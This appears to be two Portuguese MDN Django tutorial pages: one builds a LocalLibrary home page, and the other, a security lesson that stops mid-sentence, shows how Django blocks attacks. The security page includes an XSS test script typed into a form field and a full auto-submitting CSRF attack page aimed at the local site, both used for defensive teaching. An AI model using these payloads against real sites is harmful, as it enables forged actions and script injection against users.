{"title":"Django Tutorial Parte 5: Criando nossa home page - Aprendendo desenvolvimento web","text":"Django Tutorial Parte 5: Criando nossa home page\n================================================\n\n* Anterior\n* Menu: Django\n* Próxima\n\nAgora estamos prontos para adicionar o código que exibe nossa primeira página completa - uma home page do site LocalLibrary. A página inicial mostrará o número de registros que temos para cada tipo de modelo e fornecerá links de navegação na barra lateral para nossas outras páginas. Ao longo do caminho, obteremos experiência prática ao escrever mapas e visualizações básicos de URL, obter registros do banco de dados e usar modelos.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Leia a\n Introdução ao Django. Conclua os tópicos do tutorial anterior (incluindo\n Django Tutorial Part 4: Django admin site).\n  |\n| Objetivo: | \n Aprender a criar mapas e visualizações de URL simples (onde nenhum dado\n é codificado no URL), obtenha dados de modelos e crie modelos.\n  |\n\nVisão Global\n------------\n\nDepois de definirmos nossos modelos e criarmos alguns registros iniciais da biblioteca para trabalhar, é hora de escrever o código que apresenta essas informações aos usuários. A primeira coisa que precisamos fazer é determinar quais informações queremos exibir em nossas páginas e definir os URLs a serem usados para retornar esses recursos. Em seguida, criaremos um mapeador de URLs, visualizações e modelos para exibir as páginas.\n\nO diagrama a seguir descreve o fluxo de dados principal e os componentes necessários ao manipular solicitações e respostas HTTP. Como já implementamos o modelo, os principais componentes que criaremos são:\n\n* Mapeadores de URL para encaminhar os URLs suportados (e qualquer informação codificada nos URLs) para as funções de exibição apropriadas.\n* View functions para obter os dados solicitados dos modelos, crie páginas HTML que exibem os dados e retorne as páginas ao usuário para visualização no navegador.\n* Templates para usar ao renderizar dados nas visualizações.\n\n![](/pt-BR/docs/Learn/Server-side/Django/Home_page/basic-django.png)\n\nComo você verá na próxima seção, temos 5 páginas para exibir, o que é muita informação para documentar em um único artigo. Portanto, este artigo se concentrará em como implementar a página inicial e abordaremos as outras páginas em um artigo subsequente. Isso deve fornecer uma boa compreensão completa de como os mapeadores, visualizações e modelos de URL funcionam na prática.\n\nDefinindo os URLs do recurso\n----------------------------\n\nComo esta versão do LocalLibrary é essencialmente somente leitura para usuários finais, precisamos fornecer uma página de destino para o site (uma página inicial) e páginas que exibam visualizações de lista e detalhes de livros e autores.\n\nAs URLs que iremos precisar na nossa página são:\n\n* `catalog/` — A página inicial (index).\n* `catalog/books/` — Uma lista de todos os livros.\n* `catalog/authors/` — Uma lista de todos os autores.\n* `catalog/book/<id>` — A exibição de detalhes de um livro específico, com uma chave primária de campo `<id>` (o padrão). Por exemplo, o URL do terceiro livro adicionado à lista será `/catalog/book/3`.\n* `catalog/author/<id>` — A exibição de detalhes para o autor específico com um campo de chave primária de `<id>`. Por exemplo, o URL do 11º autor adicionado à lista será `/catalog/author/11`.\n\nOs três primeiros URLs retornarão a página de índice, a lista de livros e a lista de autores. Esses URLs não codificam nenhuma informação adicional e as consultas que buscam dados no banco de dados sempre serão as mesmas. No entanto, os resultados retornados pelas consultas dependerão do conteúdo do banco de dados.\n\nPor outro lado, os dois URLs finais exibirão informações detalhadas sobre um livro ou autor específico. Esses URLs codificam a identidade do item a ser exibido (representado por `<id>` acima). O mapeador de URLs extrairá as informações codificadas e as passará para a visualização, e a visualização determinará dinamicamente quais informações serão obtidas do banco de dados. Ao codificar as informações no URL, usaremos um único conjunto de mapeamento de URL, uma visualização e um modelo para lidar com todos os livros (ou autores).\n\n**Nota:** Com o Django, você pode construir suas URLs da maneira que desejar - você pode codificar informações no corpo da URL, como mostrado acima, ou incluir `GET` parâmetros no URL, por exemplo `/book/?id=6`. Qualquer que seja a abordagem usada, os URLs devem ser mantidos limpos, lógicos e legíveis, conforme recomendado pelo W3C.\n A documentação do Django recomenda informações de codificação no corpo da URL para obter um melhor design da URL.\n\n\nConforme mencionado na visão geral, o restante deste artigo descreve como construir a página index.\n\nCriando a página index\n----------------------\n\nA primeira página que criaremos é a página index (`catalog/`). A pagina index incluirá algum HTML estático, juntamente com \"contagens\" geradas de diferentes registros no banco de dados. Para fazer isso funcionar, criaremos um mapeamento de URL, uma visualização e um modelo.\n\n**Nota:** Vale a pena prestar um pouco de atenção extra nesta seção. A maioria das informações também se aplica às outras páginas que criaremos.\n\n### Mapeamento de URL\n\nQuando criamos o esqueleto do website, atualizamos o arquivo **locallibrary/urls.py** para garantir que sempre que um URL que comece com `catalog/` é recebido, o módulo URLConf `catalog.urls` processará a substring restante.\n\nO seguinte snippet de código de **locallibrary/urls.py** inclui o modulo `catalog.urls`:\n```\n\nurlpatterns += [\n    path('catalog/', include('catalog.urls')),\n]\n```\n\n\n**Nota:** Sempre que o Django encontra a função de importação `django.urls.include()`, divide a string da URL no caractere final designado e envia a subsequência restante para o módulo URLconf incluído para processamento adicional.\n\nTambém criamos um arquivo de espaço reservado para o modulo *URLConf*, chamado **/catalog/urls.py**. Adicione as seguintes linhas a esse arquivo:\n\n\n```python\nurlpatterns = [\n    path('', views.index, name='index'),\n]\n```\n\n\nA função `path()` define o seguinte:\n\n* Um padrão de URL, que é uma sequência vazia: `''`. Discutiremos detalhadamente os padrões de URL ao trabalhar em outras visualizações.\n* A view function that will be called if the URL pattern is detected: `views.index`, which is the function named `index()` in the **views.py** file.\n\nA função `path()` também especifica um parâmetro de nome, que é um identificador exclusivo para esse mapeamento de URL específico. Você pode usar o nome para \"reverter\" o mapeador, ou seja, para criar dinamicamente um URL que aponte para o recurso que o mapeador foi projetado para manipular. Por exemplo, podemos usar o parâmetro name para vincular à nossa home page a partir de qualquer outra página adicionando o seguinte link em um modelo:\n\n\n```html\n<a href=\"{% url 'index' %}\">Home</a>.\n```\n\n\n**Nota:** Podemos codificar o link como em `<a href=\"/catalog/\">Home</a>`), mas se alterarmos o padrão da nossa página inicial, por exemplo, para `/catalog/index`) os modelos não serão mais vinculados corretamente. Usar um mapeamento de URL invertido é muito mais flexível e robusto.\n\n### View (function-based)\n\nUma view é uma função que processa uma solicitação HTTP, busca os dados necessários no banco de dados, renderiza os dados em uma página HTML usando um modelo HTML e, em seguida, retorna o HTML gerado em uma resposta HTTP para exibir a página ao usuário. A visualização do índice segue esse modelo - ele busca informações sobre o número de `Book`, `BookInstance`, disponibilidade de `BookInstance` e registros de `Author` que temos no banco de dados e passa essas informações para um modelo para exibição.\n\nAbra **catalog/views.py** e observe que o arquivo já importa o render() da função shortcuts para gerar arquivo HTML usando um modelo e dados:\n\n\n```python\nfrom django.shortcuts import render\n\n# Create your views here.\n```\n\n\nCole as seguintes linhas na parte inferior do arquivo:\n\n\n```python\nfrom catalog.models import Book, Author, BookInstance, Genre\n\ndef index(request):\n    \"\"\"View function for home page of site.\"\"\"\n\n    # Generate counts of some of the main objects\n    num_books = Book.objects.all().count()\n    num_instances = BookInstance.objects.all().count()\n\n    # Available books (status = 'a')\n    num_instances_available = BookInstance.objects.filter(status__exact='a').count()\n\n    # The 'all()' is implied by default.\n    num_authors = Author.objects.count()\n\n    context = {\n        'num\\_books': num_books,\n        'num\\_instances': num_instances,\n        'num\\_instances\\_available': num_instances_available,\n        'num\\_authors': num_authors,\n    }\n\n    # Render the HTML template index.html with the data in the context variable\n    return render(request, 'index.html', context=context)\n```\n\n\nA primeira linha importa as classes de models que usaremos para acessar dados em todas as nossas visualizações.\n\nA primeira parte da função view busca o número de registros usando o atributo `objects.all()` nas classes de modelo. Também recebe uma lista de objetos de `BookInstance` que possuem um valor de 'a' (Disponibilidade) no campo status. Você pode encontrar mais informações sobre como acessar os dados do modelo em nosso tutorial anterior Django Tutorial Part 3: Using models > Searching for records.\n\nNo final da função view chamamos a função `render()` para criar uma página HTML e retornar a página como resposta. essa função de atalho envolve várias outras funções para simplificar um caso de uso muito comum. A função `render()` aceita os seguintes parâmetros:\n\n* o objeto `request` original, que é um `HttpRequest`.\n* um modelo HTML com espaços reservados para os dados.\n* uma variável `context`, que é um dicionário Python, contendo os dados a serem inseridos nos espaços reservados.\n\nFalaremos mais sobre modelos e variáveis `context` na próxima seção. Vamos criar nosso template para que possamos exibir algo para o usuário!\n\n### Template\n\nUm template é um arquivo de texto que define a estrutura ou o layout de um arquivo (como uma página HTML), usa espaços reservados para representar o conteúdo real.\n\nDjango irá procurar automaticamente templates na pasta chamada '**templates**' em sua aplicação. Por exemplo, na exibição de index que acabamos de adicionar, a função `render()` espera encontrar o arquivo **index.html** em **/locallibrary/catalog/templates/** e gera um erro se o arquivo não estiver presente.\n\nVocê pode verificar isso salvando as alterações anteriores e acessando `127.0.0.1:8000` no seu navegador - ele exibirá uma mensagem de erro bastante intuitiva: \"`TemplateDoesNotExist at /catalog/`\", e outros detalhes.\n\n**Nota:** Com base no arquivo de configurações do seu projeto, o Django procurará templates em vários locais, pesquisando nos aplicativos instalados por padrão. Você pode descobrir mais sobre como o Django encontra templates e quais formatos ele suporta no the Templates section of the Django documentation.\n\n#### Estendendo templates\n\nO index template precisará de marcação HTML padrão para head e a body, juntamente com as seções de navegação para criar um link para as outras páginas do site (que ainda não criamos) e para as seções que exibem dados introdutórios de texto e livro.\n\nGrande parte da estrutura HTML e de navegação será a mesma em todas as páginas do nosso site. Em vez de duplicar o código padrão em todas as páginas, você pode usar a linguagem de modelagem do Django para declarar um modelo base e depois estendê-lo para substituir apenas os bits que são diferentes para cada página específica.\n\nO seguinte snippet de código é um template base de amostra de um arquivo **base\\_generic.html**. Em breve, criaremos o modelo para a LocalLibrary. O exemplo abaixo inclui HTML comum com seções para um título, uma barra lateral e o conteúdo principal marcado com as template tags de nome `block` e `endblock`, mostrado em negrito. Você pode deixar os blocos vazios ou incluir o conteúdo padrão a ser usado ao renderizar páginas derivadas do modelo.\n\n**Nota:** Template *tags* são funções que você pode usar em um modelo para percorrer as listas, executar operações condicionais com base no valor de uma variável e assim por diante. Além das template tags, a sintaxe template permite que você faça referência a variáveis que são passadas para a template a partir da view e use filtros de template para formatar variáveis (por exemplo, para converter uma sequência em minúscula).\n\n\n```django\n<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    {% block title %}<title>Local Library</title>{% endblock %}\n  </head>\n  <body>\n    {% block sidebar %}<!-- insert default navigation text for every page -->{% endblock %}\n    {% block content %}<!-- default content text (typically empty) -->{% endblock %}\n  </body>\n</html>\n```\n\n\nAo definir um template para uma visualização específica, primeiro especificamos o template base usando a template tag `extends` — veja o exemplo de código abaixo. Em seguida, declaramos quais seções do template queremos substituir (se houver), usando seções `block`/`endblock` como no template base.\n\nPor exemplo, o trecho de código abaixo mostra como usar a template tag `extends` e substituir o block `content`. O HTML gerado incluirá o código e a estrutura definidos no template base, incluindo o conteúdo padrão que você definiu no block `title`, mas o novo block `content` no lugar do padrão.\n\n\n```django\n{% extends \"base\\_generic.html\" %}\n\n{% block content %}\n  <h1>Local Library Home</h1>\n  <p>Welcome to LocalLibrary, a website developed by <em>Mozilla Developer Network</em>!</p>\n{% endblock %}\n```\n\n\n#### O template base LocalLibrary\n\nUsaremos o seguinte snippet de código como modelo básico para o site *LocalLibrary*. Como você pode ver, ele contém algum código HTML e define blocos para `title`, `sidebar`, e `content`. Temos um título padrão e uma barra lateral padrão com links para listas de todos os livros e autores, ambos colocados em blocos para serem facilmente alterados no futuro.\n\n**Nota:** Também introduzimos duas template tags adicionais: `url` e `load static`. Essas tags serão explicadas nas próximas seções.\n\nCrie um novo arquivo \\*\\**base\\_generic.html* \\*\\*em **/locallibrary/catalog/templates/** e cole o seguinte código no arquivo:\n\n\n```django\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    {% block title %}<title>Local Library</title>{% endblock %}\n    <meta charset=\"utf-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n    <link\n rel=\"stylesheet\"\n href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css\"\n integrity=\"sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO\"\n crossorigin=\"anonymous\" />\n    <!-- Add additional CSS in static file -->\n    {% load static %}\n    <link rel=\"stylesheet\" href=\"{% static 'css/styles.css' %}\" />\n  </head>\n  <body>\n    <div class=\"container-fluid\">\n      <div class=\"row\">\n        <div class=\"col-sm-2\">\n          {% block sidebar %}\n            <ul class=\"sidebar-nav\">\n              <li><a href=\"{% url 'index' %}\">Home</a></li>\n              <li><a href=\"\">All books</a></li>\n              <li><a href=\"\">All authors</a></li>\n            </ul>\n          {% endblock %}\n        </div>\n        <div class=\"col-sm-10\">{% block content %}{% endblock %}</div>\n      </div>\n    </div>\n  </body>\n</html>\n```\n\n\nO template inclui CSS de Bootstrap para melhorar o layout e a apresentação da página HTML. O uso do Bootstrap (ou outra estrutura da Web do lado do cliente) é uma maneira rápida de criar uma página atraente que é exibida bem em diferentes tamanhos de tela.\n\nO template base também faz referência a um arquivo css local (**styles.css**) que fornece estilo adicional. Criar um arquivo **styles.css** em **/locallibrary/catalog/static/css/** e cole o seguinte código no arquivo:\n\n\n```css\n.sidebar-nav {\n  margin-top: 20px;\n  padding: 0;\n  list-style: none;\n}\n```\n\n\n#### O template index\n\nCrie um novo arquivo HTML \\*\\**index.html* \\*\\*em **/locallibrary/catalog/templates/** e cole o seguinte código no arquivo Esse código estende nosso modelo base na primeira linha e substitui o padrão block `content` para o template.\n\n\n```django\n{% extends \"base\\_generic.html\" %}\n\n{% block content %}\n  <h1>Local Library Home</h1>\n  <p>\n    Welcome to LocalLibrary, a website developed by\n    <em>Mozilla Developer Network</em>!\n  </p>\n  <h2>Dynamic content</h2>\n  <p>The library has the following record counts:</p>\n  <ul>\n    <li><strong>Books:</strong> {{ num\\_books }}</li>\n    <li><strong>Copies:</strong> {{ num\\_instances }}</li>\n    <li><strong>Copies available:</strong> {{ num\\_instances\\_available }}</li>\n    <li><strong>Authors:</strong> {{ num\\_authors }}</li>\n  </ul>\n{% endblock %}\n```\n\n\nNa seção *Dynamic content*, declaramos espaços reservados (*variáveis de template*) para as informações da exibição que queremos incluir. As variáveis são colocadas entre chaves (guiador), como mostrado em negrito no exemplo de código.\n\n**Nota:** Você pode reconhecer facilmente variáveis de template e template tags (funções) - as variáveis são colocadas entre chaves (`{{ num_books }}`), e as tags são colocadas em chaves simples com sinais de porcentagem (`{% extends \"base_generic.html\" %}`).\n\nO importante a ser observado aqui é que as variáveis são nomeadas com as *chaves* que passamos para o dicionário `context` na função `render()` da nossa view (veja a amostra abaixo). As variáveis serão substituídas pelos *valores* associados quando o modelo for renderizado.\n\n\n```python\ncontext = {\n    'num\\_books': num_books,\n    'num\\_instances': num_instances,\n    'num\\_instances\\_available': num_instances_available,\n    'num\\_authors': num_authors,\n}\n\nreturn render(request, 'index.html', context=context)\n```\n\n\n#### Referenciando arquivos estáticos nos templates\n\nÉ provável que seu projeto use recursos estáticos, incluindo JavaScript, CSS e imagens. Como a localização desses arquivos pode não ser conhecida (ou pode mudar), o Django permite que você especifique a localização em seus modelos em relação a configuração global `STATIC_URL`. O site padrão do esqueleto define o valor de `STATIC_URL` para '`/static/`', mas você pode optar por hospedá-los em uma rede de entrega de conteúdo ou em outro local.\n\nDentro do template que você chama primeiro na template tag `load` especificando \"static\" para adicionar a biblioteca de modelos, conforme mostrado no exemplo de código abaixo. Você pode então usar a template tag `static` e especifique o URL relativo ao arquivo necessário.\n\n\n```django\n<!-- Add additional CSS in static file -->\n{% load static %}\n<link rel=\"stylesheet\" href=\"{% static 'css/styles.css' %}\" />\n```\n\n\nVocê pode adicionar uma imagem à página de maneira semelhante, por exemplo:\n\n\n```django\n{% load static %}\n<img\n src=\"{% static 'catalog/images/local\\_library\\_model\\_uml.png' %}\"\n alt=\"UML diagram\"\n style=\"width:555px;height:540px;\" />\n```\n\n\n**Nota:** Os exemplos acima especificam onde os arquivos estão localizados, mas o Django não os serve por padrão. Configuramos o servidor da web de desenvolvimento para exibir arquivos modificando o mapeador de URL global (**/locallibrary/locallibrary/urls.py**) quando criamos o esqueleto do website, mas ainda precisamos ativar a veiculação de arquivos na produção. Veremos isso mais tarde.\n\nPara obter mais informações sobre como Trabalhar com arquivos estaticos, consulte Gerenciando arquivos estáticos na documentação do Django.\n\n#### Vinculando as URLs\n\nO template base abaixo introduziu a template tag `url`.\n\n\n```python\n<li><a href=\"{% url 'index' %}\">Home</a></li>\n```\n\n\nEssa tag aceita o nome de uma função `path()` chamado em **urls.py** e os valores para quaisquer argumentos que a view associada receberá dessa função e retorna um URL que você pode usar para vincular ao recurso.\n\n#### Configurando onde encontrar os templates\n\nVocê precisa dizer ao Django para procurar seus templates na pasta de templates. Para fazer isso, adicione o diretório de templates ao objeto TEMPLATES editando o arquivo **settings.py**, como mostrado em negrito, no seguinte exemplo de código:\n\n\n```python\nTEMPLATES = [\n    {\n        'BACKEND': 'django.template.backends.django.DjangoTemplates',\n        'DIRS': [\n            os.path.join(BASE_DIR, 'templates'),\n        ],\n        'APP\\_DIRS': True,\n        'OPTIONS': {\n            'context\\_processors': [\n                'django.template.context\\_processors.debug',\n                'django.template.context\\_processors.request',\n                'django.contrib.auth.context\\_processors.auth',\n                'django.contrib.messages.context\\_processors.messages',\n            ],\n        },\n    },\n]\n```\n\nCom o que se parece?\n--------------------\n\nNeste ponto, criamos todos os recursos necessários para exibir a página index. Execute o servidor (`python3 manage.py runserver`) e abra `http://127.0.0.1:8000/` no seu navegador. Se tudo estiver configurado corretamente, seu site deverá ter a seguinte captura de tela.\n\n![Index page for LocalLibrary website](/pt-BR/docs/Learn/Server-side/Django/Home_page/index_page_ok.png)\n\n**Nota:** Os links **All books** e **All authors** ainda não funcionarão porque os caminhos, visualizações e modelos para essas páginas não estão definidos. Acabamos de inserir espaços reservados para esses links no template `base_generic.html`.\n\nDesafie-se\n----------\n\nTemos duas tarefas para testar a sua familiaridade com as consultas de modelos, views e templates\n\n1. O modelo de base da BibliotecaLocal inclui um bloco de `título`. Substitua este bloco no modelo de índice e crie um novo título para a página.\n2. **Nota:** **Dica:** A seção Extendendo Templates explica como criar blocos e extender um bloco em outro template.\n3. Modifique a view para gerar contagens para gêneros e livros que contenham uma palavra específica (case insensitive), e passe o resultado para o `contexto`. Isso é feito de maneira semelhante à criação e uso de `num_books` e `num_instances_available`. Em seguida, atualize o template do index para incluir essas variáveis.\nResumo\n------\n\nAcabamos de criar a página inicial do nosso site - uma página HTML que exibe uma série de registros do banco de dados e links para outras páginas ainda a serem criadas. Ao longo do caminho, aprendemos informações fundamentais sobre mapeadores de url, views, consulta do banco de dados com modelos, passagem de informações para um modelo a partir de uma view e criação e extensão de templates.\n\nNo próximo artigo, continuaremos sobre esse conhecimento para criar as quatro páginas restantes de nosso site.\n\nVeja também\n-----------\n\n* Escrevendo sua primeira aplicação Django, parte 3: View e Templates (documentação do Django)\n* Despachante de URL (Django docs)\n* Funções das Views (DJango docs)\n* Templates (Django docs)\n* Gerenciando arquivos estáticos (Django docs)\n* Funções de atalho do Django (Django docs)\n* Anterior\n* Menu: Django\n* Próxima\nNesse Módulo\n------------\n\n* Introdução ao Django\n* Configurando um ambiente de desenvolvimento Django\n* Tutorial Django: Website de uma Biblioteca Local\n* Tutorial Django Parte 2: Criando a base do website\n* Tutorial Django Parte 3: Utilizando models\n* Tutorial Django Parte 4: Django admin site\n* Tutorial Django Parte 5: Criando nossa página principal\n* Tutorial Django Parte 6: Lista genérica e detail views\n* Tutorial Django Parte 7: Sessões de Framework\n* Tutorial Django Parte 9: Trabalhando com formulários\n* Tutorial Django Parte 10: Testando uma aplicação web Django\n* Tutorial Django Parte 11: Implantando Django em produção\n* Segurança de aplicações web Django\n* DIY Django mini blog (en-US)"}
{"title":"Segurança de aplicações web Django - Aprendendo desenvolvimento web","text":"Segurança de aplicações web Django\n==================================\n\n* Anterior\n* Menu: Django\n* Próxima  (en-US)\n\nProteger dados do usuário é uma parte essencial de qualquer projeto de website. Anteriormente, explicamos algumas das ameaças de segurança mais comuns no artigo Web security — esse artigo fornece uma demonstração prática de como as proteções internas de Django lidam com essas ameaças.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Ler o tópico \"Website security\" de Programação Server-side. Conclua os tópicos do tutorial Django\n tutorial até (e incluindo) pelos menos\n Tutorial Django Parte 9: Trabalhando com formulários.\n  |\n| Objective: | \n Para entender as principais coisas que você precisa fazer (ou não fazer)\n para proteger seu aplicatico web Django.\n  |\n\nVisão geral\n-----------\n\nO tópico Website security fornece uma visão geral do que a segurança de website siginifica para o projeto server-side e algumas das ameaças mais comuns contra as quais você deve se proteger. Uma das mensagens chave nesse artigo é que quase todos os ataques são bem sucedidos quando a aplicação web confia nos dados do navegador.\n\n**Aviso:** **Importante:** A lição mais importante que você pode aprender sobre segurança de website é **nunca confiar nos dados do navegador**. Isso inclui dados de requisição GET em parâmetros de URL, dados `POST`, cabeçalhos HTTP e cookies, arquivos enviados por usuários, etc. Sempre verifique e \"desinfete\" todos os dados recebidos. Sempre assuma o pior.\n\nA boa notícia para usuários Django é que muitas das ameaças mais comuns são tratadas pelo framework! O artigo Segurança no Django (Django docs) explica os recursos de segurança e como proteger um website desenvolvido pelo Django.\n\nAmeaças/proteções comuns\n------------------------\n\nEm vez de duplicar a documentação do Django aqui, neste artigo demonstraremos apenas alguns dos recursos de segurança no contexto do nosso tutorial Django da LocalLibrary.\n\n### Cross site scripting (XSS)\n\nXSS é um termo utilizado para descrever uma classe de ataques que permitem um invasor injetar scripts no lado cliente, através do website, no navegador de outros usuários. Issi geralmente é conseguido armazenando scripts maliciosos no banco de dados onde eles podem ser recuperado e exibidos para outros usuários, ou fazendo com que usuários cliquem em um link que fará com que o JavaScript do invasor seja executado pelo navegador do usuário.\n\nO sistema de *templates* do Django protege você da maioria dos ataques XSS escapando de caracteres específicos que são \"perigosos\" em HTML. Podemos demonstrar isso tentando injetar algum JavaScript em nosso website LocalLibrary usando o *form* Create-author que configuramos em Django Tutorial Parte 9: Trabalhando com formulários.\n\n1. Inicie o website usando o servidor de desenvolvimento (`python3 manage.py runserver`).\n2. Abra o site em seu navegador local e faça login em sua conta de superusuário.\n3. Navegue até a página de criação do autor (que deve estar na URL: `http://127.0.0.1:8000/catalog/author/create/`).\n4. Digite os nomes e os detalhes de data para um novo usuário, e então acrescente o seguinte texto no campo Last Name :\n `<script>alert('Test alert');</script>`.\n\n ![Author Form XSS test](/pt-BR/docs/Learn/Server-side/Django/web_application_security/author_create_form_alert_xss.png)\n\n**Nota:** Este é um script inofensivo que, se executado, exibirá uma caixa de alerta em seu navegador. Se o alerta é exibido quando você submeter o registro então o site está vulnerável a ameaças XSS.\n5. Pressione **Submit** para salvar o registro.\n6. Quando você salvar o autor, ele será exibido como mostrado abaixo. Por causa das proteções XSS o `alert()` não deve ser executado. Em vez disso o script é exibido como texto simples.\n ![Author detail view XSS test](/pt-BR/docs/Learn/Server-side/Django/web_application_security/author_detail_alert_xss.png)\n\nSe você visualizar o código fonte da página HTML, poderá ver que os carcteres perigosos para as tags de script foram trasnformadoes em seus equivalentes de código de escape inofensivos (ex. `>` agora é `&gt;`)\n\n\n```html\n<h1>\n  Author: Boon&lt;script&gt;alert(&#39;Test alert&#39;);&lt;/script&gt;, David\n  (Boonie)\n</h1>\n```\n\n\nUsar templates Django protege você contra a maioria dos ataques de XSS. No entanto, é possível desativar esta proteção, e a proteção não é automaticamente aplicada a todas as tags que normalmente não seriam preenchidas pela entrada do usuário (por exemplo, o `help_text` em um campo de formulário normalmente não é preechido pelo usuário, então Django não escapa esses valores).\n\nTambém é possível que os ataques XSS se originem de outra fonte de dados não confiável, como cookies, webservices ou upload de arquivos (sempre que os dados não forem suficientemente limpos antes de serem incluídos em uma página). Se estiver exibindo dados dessas fontes, então pode ser necessário adicionar seu próprio código de limpeza.\n\n### Proteção contra Cross site request forgery (CSRF)\n\nAtaques CSRF permitem que um usuário malicioso execute ações usando as credenciais de outro usuário sem o conhecimento ou consentimento desse usuário. Por exemplo, considere o caso em que temos um hacker que quer criar autores adicionais para nossa LocalLibrary.\n\n**Nota:** Obviamente nosso hacker não está nisso por dinheiro! Um hacker mais ambicioso poderia usar a mesma abordagem em outros sites para realizar tarefas muito mais prejudiciais (ex. transferir dinheiro para suas prórpias contas, etc.)\n\nPara fazer isso, eles podem criar um arquivo HTML como o abaixo, que contém um form de criação de autor (como o que usamos na seção anterior) que é enviado assim que o arquivo é carregado. Eles então enviariam o arquivo para todos os bibliotecários e sugeririam que eles abrissem o arquivo (ele contém algumas informações inofensivas, honestamente!). Se o arquivo for aberto por qualquer bibliotecário logado, o formulário será enviado com suas credenciais e um novo autor será criado.\n\n\n```html\n<html>\n  <body onload=\"document.EvilForm.submit()\">\n    <form\n action=\"http://127.0.0.1:8000/catalog/author/create/\"\n method=\"post\"\n name=\"EvilForm\">\n      <table>\n        <tr>\n          <th><label for=\"id\\_first\\_name\">First name:</label></th>\n          <td>\n            <input\n id=\"id\\_first\\_name\"\n maxlength=\"100\"\n name=\"first\\_name\"\n type=\"text\"\n value=\"Mad\"\n required />\n          </td>\n        </tr>\n        <tr>\n          <th><label for=\"id\\_last\\_name\">Last name:</label></th>\n          <td>\n            <input\n id=\"id\\_last\\_name\"\n maxlength=\"100\"\n name=\"last\\_name\"\n type=\"text\"\n value=\"Man\"\n required />\n          </td>\n        </tr>\n        <tr>\n          <th><label for=\"id\\_date\\_of\\_birth\">Date of birth:</label></th>\n          <td>\n            <input id=\"id\\_date\\_of\\_birth\" name=\"date\\_of\\_birth\" type=\"text\" />\n          </td>\n        </tr>\n        <tr>\n          <th><label for=\"id\\_date\\_of\\_death\">Died:</label></th>\n          <td>\n            <input\n id=\"id\\_date\\_of\\_death\"\n name=\"date\\_of\\_death\"\n type=\"text\"\n value=\"12/10/2016\" />\n          </td>\n        </tr>\n      </table>\n      <input type=\"submit\" value=\"Submit\" />\n    </form>\n  </body>\n</html>\n```\n\n\nExecute o servidor web de desenvolvimento e faça login com a conta de superusuário. Copie o texto acima em um arquivo e abra-o no navegado. Você deve obter um erro de CSRF, porque Django tem protteção contra esse tipo de coisa!\n\nA forma como a proteção é habilitada é incluindo a tag de template `{% csrf_token %}` em sua definição de formulário. Esse token é então renderizado em seu HTML como mostrado abaixo com um valor que é específico para o usuário no navegador atual.\n\n\n```html\n<input\n type=\"hidden\"\n name=\"csrfmiddlewaretoken\"\n value=\"0QRWHnYVg776y2l66mcvZqp8alrv4lb8S8lZ4ZJUWGZFA5VHrVfL2mpH29YZ39PW\" />\n```\n\n\nDjango gera uma chave específica de usuário/navegador e irá rejeitar formulários que não contenham o campo, ou que contenham um valor de campo incorreto para o usuário/navegador.\n\nPara usar esse tipo de ataque o hacker agora precisa descobrir e incluir a chave CSRF para o usuário alvo específico. Eles também não podem usar a abordagem \"scattergun\" de enviar um arquivo malicioso para todos bibliotecários e esperar que um deles abra, já que a chave CSRF é específica do navegador.\n\nA proteção CSRF do Django é ativada por padrão. Você deve sempre usar a tag de template `{% csrf_token %}` em seus formulários e utilizar `POST` para requisições que podem alterar ou adicionar dados ao banco de dados.\n\n### Outras proteções\n\nDjango also provides other forms of protection (most of which would be hard or not particularly useful to demonstrate):\n\nProteção contra Injeção de SQL\n\nAs vulnerabilidades de injeção de SQL (SQL injection) permitem usuários mal-intencionados executarem código SQL arbitrário em um banco de dados, permitindo que dados sejam acessados, modificados ou apagados independentemente das permissões do usuário. Em quase todos os casos você acessará o banco de dados usando querysets/models do Django, de mdo que o SQL resultante será devidamente escapado pelo driver de banco de dados subjacente. Se você precisa escrever consultas brutas ou SQL customizado precisará pensar explicitamente sobre como previnir injeção de SQL.\n\nProteção contra Clickjacking\n\nNesse ataque, um usuário malicioso sequestra clicks destinados a um site de visível no nível superior e os encaminha para uma página oculta abaixo. Essa técnica pode ser usada, por exemplo, para exibir um site de banco legítimo, mas capturar as credenciais de login em um `<iframe>` invisível, controlado pelo atacante. O Django possui proteção contra clickjacking na forma do `X-Frame-Options middleware` que, em um navegador de suporte, pode impedir que um site seja renderizado dentro de um frame.\n\nAplicação de SSL/HTTPS\n\nSSL/HTTPS pode ser habilitado no servidor web para criptografar todo o tráfego entre o site e o navegador, incluindo credenciais de autenticação que seriam enviadas em texto simples (habilitar HTTPS é altamente recomendado). Se HTTPS estiver habilitado o Django fornece uma série de outras proteções que você pode utilizar:\n\n* `SECURE_PROXY_SSL_HEADER` pode ser utilizado para verificar se o conteúdo é seguro, mesmo se for recebido de um proxy não HTTP.\n* `SECURE_SSL_REDIRECT` é usado para redirecionar todas as requisições HTTP para HTTPS.\n* Usar HTTP Strict Transport Security (HSTS). Este é um cabeçalho HTTP que informa ao navegador que todas as conexões futuras com um determinado site devem sempre utilizar HTTPS. Combinada com o redirecionamento de requisições HTTP para HTTPS, essa configuração garante que HTTPS é sempre usado depois que uma conexão bem-sucedida ocorrer. HSTS pode ser configurado com `SECURE_HSTS_SECONDS` e `SECURE_HSTS_INCLUDE_SUBDOMAINS` ou no servidor web.\n* Usar cookies \"seguros\" definindo `SESSION_COOKIE_SECURE` e `CSRF_COOKIE_SECURE` como `True`. Isso garantirá que os cookies sejam enviados apenas por HTTPS.\n\nValidação de cabeçalho de host\n\nUsar `ALLOWED_HOSTS` para aceitar apenas requisições de hosts confiáveis.\n\nExistem muitas outras proteções, e ressalvas para o uso dos mecanismos acima. Embora esperamos que isso tenha dado a você uma visão geral do que o Django oferece, você ainda deve ler a documentação de segurança de Django.\n\nResumo\n------\n\nDjango tem proteções eficazes contra uma série de ameaças comuns, incluindo ataques XSS e CSRF. Neste artigo demonstramos como essas ameaças específicas são tratadas pelo Django em nosso website *LocalLibrary*. Também fornecemos uma breve visão geral de algumas das outras proteções.\n\nEsta foi uma incursão muito breve em segurança web. Nós recomendamos fortemente que você leia Segurança no Django para obter um entendimento mais profundo.\n\nA próxima e última etapa neste módulo sobre Django é concluir a tarefa de avaliação 